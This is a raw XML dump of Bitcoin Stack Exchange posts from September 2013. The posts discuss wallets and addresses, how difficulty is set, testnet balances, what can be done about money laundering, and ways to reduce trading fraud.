  <row Id="13212" PostTypeId="2" ParentId="13181" CreationDate="2013-09-09T20:59:29.863" Score="1" Body="&lt;p&gt;For bitcoin-qt, the answer is &lt;strong&gt;yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Multibit, the answer is no.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="6375" LastEditDate="2013-09-14T14:16:07.187" LastActivityDate="2013-09-14T14:16:07.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13213" PostTypeId="2" ParentId="13172" CreationDate="2013-09-09T21:03:03.033" Score="0" Body="&lt;p&gt;You're right that they are hard to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly try contacting these 2 lawyers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.amazon.com/Trace-Mayer-J.D./e/B00BH3IZLA/ref=ntt_athr_dp_pel_1&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Trace-Mayer-J.D./e/B00BH3IZLA/ref=ntt_athr_dp_pel_1&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.amazon.com/Bill-Rounds-Esq./e/B00BHHQ5FE/ref=ntt_athr_dp_pel_2&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Bill-Rounds-Esq./e/B00BHHQ5FE/ref=ntt_athr_dp_pel_2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2013-09-09T21:03:03.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13214" PostTypeId="2" ParentId="12108" CreationDate="2013-09-09T21:14:32.643" Score="1" Body="&lt;p&gt;What you suggest isn't currently possible with Bitcoin, but it could be added in theory. Mastercoin plans to include this functionality and calls it &quot;saving accounts&quot;, though of course it did not originate the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to have an address associated with two keys, A and B. The address will be used for long-term savings. Funds can be spent from this address only in one of the following conditions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A transaction is signed by both A and B.&lt;/li&gt;&#xA;&lt;li&gt;A transaction is signed by A, and there is no &quot;cancelling message&quot; signed by B within X hours.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the transaction outputs cannot be spent before X hours pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These addresses will be recognized as savings addresses and merchants will not accept payment directly from them. They are used only for long-term savings, to be eventually moved to a hot wallet for everyday use (after X hours).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This arrangement has the following security features:&#xA; - To lose the coins, you must forget key A.&#xA; - To steal your coins, the attacker must steal keys A and B, or the attacker steals A and you forget B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a different configuration from normal addresses and multisig addresses, which may be advantageous in some scenarios.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-09-10T05:20:39.057" LastActivityDate="2013-09-10T05:20:39.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13215" PostTypeId="1" CreationDate="2013-09-10T02:22:38.847" Score="10" ViewCount="3030" Body="&lt;p&gt;If a criminal uses Bitcoin to launder his funds, can the bitcoin network stop him from using Bitcoin?&#xA;Can we close his account?&lt;/p&gt;&#xA;" OwnerUserId="6704" LastEditorUserId="5406" LastEditDate="2013-09-15T10:32:10.587" LastActivityDate="2014-06-10T01:54:09.390" Title="What can be done if Bitcoin is used for money laundering?" Tags="|bitcoin-core-accounts|money-laundering|" AnswerCount="4" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13216" PostTypeId="2" ParentId="13172" CreationDate="2013-09-10T03:10:41.353" Score="1" Body="&lt;p&gt;Depending on the magnitude and urgency of your question, you might want to try contacting the Bitcoin Foundation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/bitcoin-foundation-forms-committees-for-legal-defence-and-regulation/&quot; rel=&quot;nofollow&quot;&gt;Coindesk reported&lt;/a&gt; in July that the Foundation formed a Legal Defense Committee of which &lt;a href=&quot;http://weblaw.usc.edu/contact/contactInfo.cfm?detailID=71030&quot; rel=&quot;nofollow&quot;&gt;Brian Klein&lt;/a&gt; is the chairman. Either his office, or the Bitcoin Foundation's General Counsel &lt;a href=&quot;https://bitcoinfoundation.org/contact&quot; rel=&quot;nofollow&quot;&gt;Patrick Murck's&lt;/a&gt; office should be able to answer legal questions or refer you to someone.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-09-10T03:10:41.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13217" PostTypeId="2" ParentId="13215" CreationDate="2013-09-10T03:29:18.510" Score="5" Body="&lt;p&gt;No one -- not a government, not the Bitcoin core developers -- can &quot;close&quot; a Bitcoin &quot;account&quot; because no central authority has unilateral control to do so. The closest it comes to &quot;closing&quot; an account is deleting the private key to an account, and such could only be done by forcing the holder to do so or tricking them into using a service that compromises their security by not really giving them control of their keys. Included in the latter would be government forcing intermediaries such as exchanges and services to comply and aid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone is laundering money, it is likely necessary to catch them doing the actual illegal act of selling something illegally.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-09-10T03:29:18.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13218" PostTypeId="2" ParentId="13215" CreationDate="2013-09-10T04:57:19.380" Score="5" Body="&lt;p&gt;It can't be closed, because there is no account. Likewise if he/she were using cash dollars for criminal purposes, it would not be possible to &quot;close his wallet&quot; as if it were some &quot;account&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6705" LastActivityDate="2013-09-10T04:57:19.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13220" PostTypeId="2" ParentId="13215" CreationDate="2013-09-10T08:59:21.713" Score="10" Body="&lt;p&gt;In reverse order.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Can we close a criminal's account?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The owner of a bitcoin address can move all the money out of the address and then delete all copies of the key pair for the address. This would amount to closing the account, as the likelihood of someone having the same address in the future is &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10555/6679&quot;&gt;infinitesimally small&lt;/a&gt;. However, moving bitcoin money out of an address requires either the owner's consent or legal pressure brought bear on the physical human being assumed to own the account. Criminals are adept at avoiding this sort of pressure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Can we stop criminals using Bitcoin?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This would require network consensus to collectively blacklist a bitcoin address. At current the community would be &lt;em&gt;very&lt;/em&gt; unlikely to endorse such a protocol enhancement; as it could be used to tyrannise minority account holders.&lt;/p&gt;&#xA;&lt;p&gt;If such a consensus &lt;em&gt;was&lt;/em&gt; reached, locating criminal accounts would be difficult unless all residual mechanisms of bitcoin anonymity were also outlawed at the protocol level. Might as well rename the currency &lt;em&gt;&amp;quot;1984&amp;quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Until bitcoin can be used in large volume to directly purchase food, shelter, safety and bling; criminals wanting to enjoy their ill-gotten gains have to change their bitcoins into a mundane currency like US dollars. Currency exchanges are already improving their recording and accountability to law enforcement officials. So the criminal will need to launder the money through plausible revenue sources before cashing out.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;What can we do if Bitcoin is used for money laundering?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Not much&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;People or businesses could snub money that has come from a proven mixer or other aggregate wallets that don't comply to some auditing standard. But if bitcoin grows to any meaningful size, that is a &lt;em&gt;lot&lt;/em&gt; of &lt;a href=&quot;http://pugahome.tripod.com/allbanks.htm&quot; rel=&quot;noreferrer&quot;&gt;banking services&lt;/a&gt; or aggregate wallets to trace and enforce.&lt;/p&gt;&#xA;&lt;p&gt;Considering how disposable each bitcoin address is, a botnet could simply create a million temporary accounts; feed the dirty money in at random; mix about like a mesh network of transactions following a plausible traffic pattern; and then spit out clean money.&lt;/p&gt;&#xA;&lt;p&gt;In the long term, law enforcement will have powerful forensic tools to infer most cases of obvious money laundering. In turn, criminals with the connections and wealth will rent advanced money laundering methods as needed - like they already do in Vegas*.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;sub&gt;* If you are suitably paranoid, you have to wonder how many bitcoin casinos have been established specifically to gestate money laundering operations.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-09-11T00:32:54.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13221" PostTypeId="2" ParentId="5892" CreationDate="2013-09-10T09:30:06.917" Score="1" Body="&lt;p&gt;&lt;strong&gt;Edit :&lt;/strong&gt;&#xA;&lt;a href=&quot;http://buysellbitco.in&quot; rel=&quot;nofollow&quot;&gt;BuySellBitco.in&lt;/a&gt; is now &lt;a href=&quot;http://zebpay.com&quot; rel=&quot;nofollow&quot;&gt;Zebpay&lt;/a&gt;. You can buy, sell bitcoins in India. Available on Android and iPhone. Get bitcoins in one working day, normally few hours.&#xA;  - No fees. The rate you see is all inclusive. Locked in rate. Send payment to any of our bank account which includes ICICI, HDFC, Axis, Kotak, Yes, IndusInd.&#xA;  - Sell bitcoins and get paid in your bank account in working day, normally same day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer : I am co founder of Zebpay.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sell bitcoin on &lt;a href=&quot;http://buysellbitco.in&quot; rel=&quot;nofollow&quot;&gt;BuySellBitco.in&lt;/a&gt;&#xA;We support NEFT payment to all Indian bank account same day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rates are always displayed on website. You can also subscribe to&#xA;twitter feed for rate update @buysellbitcoin. Published rate are final rates and you do not need to pay/add anything extra to receive your funds.&lt;/li&gt;&#xA;&lt;li&gt;Once you generate order via web site, you will be given a bitcoin address. Send your bitcoins to that address in 15 minutes to confirm your order.&lt;/li&gt;&#xA;&lt;li&gt;We pay all orders via ICICI NEFT payment, so you should have funds in your bank account in maximum 2 to 4 hours.&lt;/li&gt;&#xA;&lt;li&gt;our services are for verified Indian customers only. To verify you need to upload  copy of your PAN card on &quot;get verified&quot; tab on home page. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mahin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer : I work for buysellbitco.in&lt;/p&gt;&#xA;" OwnerUserId="704" LastEditorUserId="704" LastEditDate="2015-12-22T13:11:59.887" LastActivityDate="2015-12-22T13:11:59.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13222" PostTypeId="1" AcceptedAnswerId="13232" CreationDate="2013-09-10T09:41:52.690" Score="0" ViewCount="187" Body="&lt;p&gt;Direct peer-to-peer bitcoin transactions are irreversible; and relying on a centralised escrow or reputation service for fraud protection is contrary to bitcoin's decentralised philosophy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What other methods or techniques have people devised to reduce bitcoin fraud to a modest amount?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, two traders don't know each other* and want to exchange goods, services or currency directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* on bitcoin anyone can be a dog... or Walt White or Cthulhu.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-10T15:21:25.183" Title="What are the (non-escrow) methods people are using to minimise bitcoin transaction fraud?" Tags="|transactions|legal|fraud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13223" PostTypeId="1" AcceptedAnswerId="13231" CreationDate="2013-09-10T10:58:32.800" Score="2" ViewCount="280" Body="&lt;p&gt;Specifically I would like to know what messages are sent between nodes in order to figure out total processing power of the network and therefore difficulty. How is the new difficulty value spread through the network and what if nodes do not agree on it?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2013-09-10T15:13:59.450" Title="How do nodes come to a consensus on difficulty?" Tags="|development|protocol|difficulty|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13224" PostTypeId="1" AcceptedAnswerId="13228" CreationDate="2013-09-10T11:23:14.123" Score="3" ViewCount="6473" Body="&lt;p&gt;I have an address mpc1rKeaMSCuQnJevMViLuq8uWjHwgdjiV&#xA;I check it via json rpc and get balance = 4.6 with 6 confirmations &#xA;When I check &lt;a href=&quot;http://blockexplorer.com/testnet/address/mpc1rKeaMSCuQnJevMViLuq8uWjHwgdjiV&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet/address/mpc1rKeaMSCuQnJevMViLuq8uWjHwgdjiV&lt;/a&gt;&#xA;I get nothing.. is it OK ?  &lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5406" LastEditDate="2023-12-19T15:04:40.710" LastActivityDate="2023-12-19T15:04:40.710" Title="How to check testnet address balance" Tags="|testnet|blockchain-explorer|" AnswerCount="6" CommentCount="1" ClosedDate="2023-12-19T15:25:19.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="13225" PostTypeId="1" AcceptedAnswerId="13229" CreationDate="2013-09-10T11:24:54.037" Score="8" ViewCount="2507" Body="&lt;p&gt;I was just showing a deterministic wallet to a friend who asked &quot;At what point is the wallet known to the network?&quot; and I could only guess by saying that it is known only when a transaction is broadcast and confirmed... But I don't think that is the whole story. I still have some unanswered questions. I think this is because I don't fully understand the cryptographic method in play.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;So for arguments sake, we have &lt;strong&gt;User A&lt;/strong&gt; and &lt;strong&gt;User B&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;User B&lt;/strong&gt; creates a brain wallet using an offline computer which&#xA;essentially provides &lt;strong&gt;User B&lt;/strong&gt; with a public key and a private key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;User B&lt;/strong&gt; tells &lt;strong&gt;User A&lt;/strong&gt; to send Bitcoins to this address and provides her public key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;User A&lt;/strong&gt; is online so he sends the coins with a signed transaction including fee using his favourite client.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does &lt;em&gt;the network&lt;/em&gt; (by this I mean the nodes on the network who are relaying the transaction) know that this is a genuine address, &lt;strong&gt;User B is after all &lt;em&gt;off-line&lt;/em&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no coins are ever sent to this address, does the blockchain ever need to know if this wallet has been created?&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2013-09-11T00:27:24.800" Title="At what point is a new wallet known by the Bitcoin network?" Tags="|blockchain|wallet|nodes|deterministic-wallets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13226" PostTypeId="2" ParentId="13225" CreationDate="2013-09-10T11:32:27.107" Score="1" Body="&lt;p&gt;If you mean &quot;genuine address&quot; as in one that someone can spend the funds from. The network only knows someone can spend those funds when they do and broadcast a transaction from that address. The network will happily send to an address that no one knows, e.g. &lt;a href=&quot;https://blockchain.info/address/1BitcoinEaterAddressDontSendf59kuE&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BitcoinEaterAddressDontSendf59kuE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6708" LastActivityDate="2013-09-10T11:32:27.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13228" PostTypeId="2" ParentId="13224" CreationDate="2013-09-10T13:17:43.667" Score="1" Body="&lt;p&gt;The testnet Block Explorer doesn't seem to be working. If you go to &lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet&lt;/a&gt;, the most recent block it shows is from August 29, about two weeks ago.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-09-10T13:17:43.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13229" PostTypeId="2" ParentId="13225" CreationDate="2013-09-10T14:54:15.170" Score="5" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; &lt;em&gt;The network is not made aware of address ownership, nor can anyone check if an address is owned unless it has been used previously (or is owned by himself). Anyone can send transactions to any valid (as in correctly shaped) address¹, the recipient doesn't have to be online for a transaction to take place.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me elaborate a little bit in order to explain: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addresses are the public key of an asymmetric key pair&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;em&gt;address&lt;/em&gt; is the public key of an &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4675/what-is-a-private-key-and-a-public-key&quot;&gt;asymmetric key pair&lt;/a&gt;. The owner of the key pair can use the private key to sign transactions or messages (for example in order to prove ownership). Only by using the correct private key a valid signature may be created, which then anyone can verify as valid by using the associated address (which, again, is the public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wallets are an abstraction&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;wallet&lt;/em&gt; is an abstract construct, which contains a set of public and private key pairs randomly generated for the user. In a deterministic wallet, the keys are derived from a passphrase instead of a random seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin client software abstracts the wallet for the user such that it checks each of the addresses contained in the wallet, whether there are any balances (&lt;em&gt;transaction outputs&lt;/em&gt;) associated in the blockchain with them. It sums the funds up and presents them as a single total balance. Underlying, however, these balances are stored publicly in the blockchain (that's right, the wallet doesn't contain your coins, it just allows you to spend them). They are split up to numerous addresses and transaction outputs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Address #15521³ has &#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;3 BTC in transaction output 1&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Address #23414 has &#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;1.2 BTC in transaction output 1 &lt;/li&gt;&#xA;  &lt;li&gt;0.7 BTC in transaction output 2&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;...&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Everyone can see them, however, usually can't determine the identity of the owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transactions are public notifications of change in ownership&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when someone sends a transaction, he basically puts up a notice for everyone in the network to see in which he signs over some of his transaction outputs to recipient addresses. He signs this notice with his private key, so that everybody can check that he is the rightful owner of the outgoing balance (as they can see what address the balance is being sent from they know which public key to use to verify the validity). This can happen regardless of the recipient being online: The bitcoins will be available to spend to the owner of the new address, because only he has the private key, whenever he choses to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It cannot be determined if an address is owned by someone&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The public keys (&lt;em&gt;Bitcoin addresses&lt;/em&gt;) fulfil a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/194/what-happens-if-i-mistype-the-address-when-making-a-payment&quot;&gt;specific pattern with checksums&lt;/a&gt;, so that bitcoin software can easily assess whether an address is valid. However, unless an address has been used before there is no way for anyone to check whether a valid address has actually been claimed by anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At no point the network is ever made aware of the creation of new wallets, nor does it have to be. Balances are just signed over to a recipient address and subsequently can only be spent with the associated private key. If the new addresses private key hasn't been found yet, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22/is-it-possible-to-brute-force-bitcoin-address-creation-in-order-to-steal-money&quot;&gt;it is very unlikely that anyone ever will do so&lt;/a&gt; – the coins would likely be lost forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¹ By creating raw transactions one can actually send transactions to an invalid address. This is for example used to leave messages in the blockchain or to validate the authenticity of documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;³ &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow noreferrer&quot;&gt;Of course addresses really are alphanumeric strings with up to 34 characters.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-09-11T00:27:24.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13230" PostTypeId="2" ParentId="13225" CreationDate="2013-09-10T15:09:06.460" Score="3" Body="&lt;p&gt;Short answer: It doesn't. All the network knows is that someone sent funds to this address. It doesn't know and doesn't care if anyone has a private key matching a public key matching this address - that is the problem of the user who sent the funds, and the user who requested funds to be sent to this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if user B ever spends these coins (by providing a public key and a signature from the corresponding private key), the network then knows these keys exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to send to addresses with Kolmogorov complexity so low it is known that no-one has the private keys, such as &lt;a href=&quot;https://blockchain.info/address/1BitcoinEaterAddressDontSendf59kuE&quot; rel=&quot;nofollow&quot;&gt;1BitcoinEaterAddressDontSendf59kuE&lt;/a&gt; and &lt;a href=&quot;https://blockchain.info/address/1111111111111111111114oLvT2&quot; rel=&quot;nofollow&quot;&gt;1111111111111111111114oLvT2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no, if no coins are sent to an address, the network has no need to know that someone created a keypair for this address.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-10T15:09:06.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13231" PostTypeId="2" ParentId="13223" CreationDate="2013-09-10T15:13:59.450" Score="3" Body="&lt;p&gt;There is no coordination done specifically for difficulty calculations. The difficulty is computed deterministically based on the data in the blockchain (shared among all nodes), specifically the timestamps of blocks.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-10T15:13:59.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13232" PostTypeId="2" ParentId="13222" CreationDate="2013-09-10T15:21:25.183" Score="1" Body="&lt;p&gt;One possibility is to use 2-of-2 multisig. This means that if the parties don't reach an agreement, the funds are lost so they have an incentive to cooperate. (This is still vulnerable to blackmailing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is 2-of-3 multisig with a 3rd party. If the parties agree (which is usually the case) the 3rd party doesn't need to do anything and can't control anything. If the parties disagree the 3rd party can arbitrate. This means that for a problem to exist, one of the parties &lt;em&gt;and&lt;/em&gt; the 3rd one must misbehave, which is by far rarer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a mistake to think that Bitcoin means there should be no centralized services. It means that whatever can be decentralized, should be; leaving centralized services with a reduced role, leading to lower barrier of entry, lower vendor lock-in and more competitive service.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-10T15:21:25.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13233" PostTypeId="1" AcceptedAnswerId="13338" CreationDate="2013-09-10T16:06:21.190" Score="6" ViewCount="2511" Body="&lt;p&gt;I have a website and I am considering supporting bitcoins, but I would like to do this without asking the users to log in nor give me their email or details before buying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to accept bitcoin payments and verify the identity of the people who paid without asking for any other information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the buyers to claim their product after they pay, using the transaction id, the confirmation number, the address... or something like this, so I do not have to ask for any other information before they buy, but I can be sure that I deliver the product to the right person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, you can pay directly using my btc address (that will be different for each transaction) and you do not have to enter anything else. &#xA;After the transaction is confirmed, you can come back to the website and you can claim the product entering a &quot;code&quot;. (Only then you'll be asked for the email or more details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use the pair of transaction addresses as this code? Is this secret or other people will be able to claim they paid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!!&lt;/p&gt;&#xA;" OwnerUserId="6641" LastEditorUserId="6641" LastEditDate="2013-09-12T09:56:29.850" LastActivityDate="2014-01-24T22:06:52.897" Title="Is there a way to accept bitcoin payments and verify the identity of the people who paid without asking for any other information?" Tags="|transactions|websites|ecommerce|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13234" PostTypeId="2" ParentId="13233" CreationDate="2013-09-10T16:20:47.043" Score="3" Body="&lt;p&gt;The best way is to generate a new bitcoin address for each order.  When the customer wants to check out, you display this address to the customer.  You also store this address in your database, associated with this particular order.  Once you see (by checking the blockchain) that the proper payment amount has been made to this address, and after waiting for however many confirmations you are comfortable with (usually 6) you should ship the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use an integrated payment system like bitpay, all this should be taken care of for you.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-09-10T16:20:47.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13235" PostTypeId="1" AcceptedAnswerId="13237" CreationDate="2013-09-10T16:28:08.810" Score="1" ViewCount="354" Body="&lt;p&gt;I want to create a difficulty calculator and need to know when each 2016th block has been created and how many blocks were created in the previous two weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to count and label each block from the genesis block up manually or is there an easier way without having to download and parse the entire blockchain or use an external service?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2014-01-14T02:37:16.617" Title="How do you determine which position a block is in the blockchain?" Tags="|blockchain|development|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13236" PostTypeId="1" AcceptedAnswerId="13373" CreationDate="2013-09-10T16:43:23.847" Score="6" ViewCount="2066" Body="&lt;p&gt;I am running bitcoind and the blockchain download is very slow at 200 blocks per hour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am  at 225146 and at the current speed, it would take bitcoind a month to catch up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my output from bitcoind getinfo&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;version&quot; : 32400,&#xA;&quot;balance&quot; : 0.00000000,&#xA;&quot;blocks&quot; : 225305,&#xA;&quot;connections&quot; : 5,&#xA;&quot;proxy&quot; : &quot;&quot;,&#xA;&quot;generate&quot; : false,&#xA;&quot;genproclimit&quot; : -1,&#xA;&quot;difficulty&quot; : 4367876.00084220,&#xA;&quot;hashespersec&quot; : 0,&#xA;&quot;testnet&quot; : false,&#xA;&quot;keypoololdest&quot; : 1378312057,&#xA;&quot;paytxfee&quot; : 0.00000000,&#xA;&quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CPU usage is at 10 Percent and I am using 50% of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why the download is so slow?&lt;/p&gt;&#xA;" OwnerUserId="4356" LastEditorUserId="5406" LastEditDate="2013-09-18T10:40:09.043" LastActivityDate="2013-09-18T10:40:09.043" Title="Blockchain download extremely slow at 200 blocks per hour" Tags="|bitcoind|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13237" PostTypeId="2" ParentId="13235" CreationDate="2013-09-10T16:52:05.003" Score="1" Body="&lt;p&gt;To find the height of a block with only the raw blockchain (or block header) data, you need to follow through the sequence of references all the way to the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are external services offering this information in their API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your premise, to calculate difficulty you don't need to know how many blocks were created in two weeks, only how much time passed for 2016 blocks (or actually 2015 blocks due to an off-by-one bug).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-10T16:52:05.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
